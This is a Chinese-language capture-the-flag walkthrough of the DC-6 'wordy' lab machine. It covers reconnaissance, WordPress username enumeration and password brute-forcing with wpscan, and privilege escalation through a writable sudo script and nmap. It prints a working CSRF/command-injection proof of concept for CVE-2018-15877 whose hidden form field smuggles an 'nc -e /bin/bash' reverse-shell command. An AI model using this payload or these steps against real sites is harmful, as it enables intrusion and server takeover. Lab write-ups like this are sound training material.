先nmap一下:
可以看到在22端口开放了ssh服务,在80端口开放了http服务。由于还没有任何用户的信息,所以只能从80端口入手。
针对80端口的http服务,dirb一下,发现扫描到了一个admin登录用户,点开看看:
是wordpress的admin登录页面。针对wordpress,有专门针对wordpress的wpscan工具。目前还是没有用户名和密码,那么首先可以使用wpscan枚举用户名:
wpscan --url http://wordy -e u
将枚举出的可能的用户名保存在username.txt中:
先在用户名有了,密码字典在靶机的提示中有写:
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
grep分析一行信息,若当中有我们所需要的信息就将该行取出来。也就是上述命令将rockyou.txt中有k01的行都取了出来放在passwords.txt中。
这时候我们用户名和密码的字典都有了,直接用wpscan进行爆破即可,并成功破解出一对用户名和密码:
使用mark-helpdesk01进行后台登陆(无法登录ssh):
登陆后台以后东西太多了。wordpress的漏洞很多情况下是出现在插件中的,那么我们注意到这个activity monitor:
的确,我们通过wpsacn也可以枚举到这个插件:wpscan --url http://wordy --plugins-detection aggressive
确定了插件存在以后searchsploit一下看看activity monitor有没有漏洞:
确定了存在一个命令执行的漏洞,打开上述漏洞对应的描述文件(只贴出POC部分):
PoC: --> <html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>
根据POC中的指导更改url和监听ip及端口即成。因为我这边设置的是反弹回kali的shell,所以将-nlvp去掉了
连接成功:
是一个普通用户,所以下面就是要提权了。
补充:也可以通过burpsuite抓包修改参数去反弹shell(使用burpsuite是因为前端有长度限制):
当然也可以把前端的长度限制给去掉:
当前情况下还无法进行su,先要找到有哪些可利用的用户:
在/home目录中找到如上用户。在/mark/stuff中找到了一个.txt文件,cat一下
在其中发现了用户-密码graham-GSo7isUM1D4
直接su切换用户至graham,成功:
sudo -l 查看graham用户有哪些特殊的权限,发现可以以jens用户且不使用口令的情况下使用backups.sh:
看一下这个脚本是干啥的:
那么在里面填上/bin/sh:
然后以jens用户的身份去执行该脚本,我们就成功切换到jens用户了:
再sudo -l一下,看看jens用户有哪些特殊的权限,发现可以使用nmap提权:
查看一下nmap的版本。5.20版本后已经没有交互式了,需要用script来提权:
先写入一段脚本,然后通过nmap的--script进行执行,最终获得root权限并获取flag:
结束。
参考:
https://www.icode9.com/content-4-871064.html
https://www.lz80.com/20989.html